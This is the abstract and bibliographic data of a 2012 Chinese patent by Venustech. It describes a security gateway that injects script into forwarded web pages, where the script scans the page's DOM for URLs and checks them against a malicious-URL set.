本發明公開了一種安全網關及其轉發網頁的方法;所述方法包括當從服務器得到客戶端請求的Web頁面后,將預先生成的移動代碼依附到待轉發Web頁面中;所述移動代碼被設置成當執行時遍歷所依附的Web頁面對應的文檔對象模型,抽取出指定HTML標簽中的URL,并將抽取出的URL與預先設置的惡意URL集合進行匹配;在依附了所述移動代碼的所述Web頁面中添加命令語句;所述命令語句設置成當所述Web頁面被加載時觸發所述移動代碼執行;將依附了所述移動代碼并添加語句后的Web頁面轉發給所述客戶端。本發明能夠在不加重安全網關計算開銷的情況下,對隱藏在Web頁面中的惡意URL進行準確的檢測。
文檔編號H04L29/06GK102469113SQ20101053288
公開日2012年5月23日 申請日期2010年11月1日 優先權日2010年11月1日
發明者葉潤國, 肖小劍 申請人:北京啟明星辰信息安全技術有限公司, 北京啟明星辰信息技術股份有限公司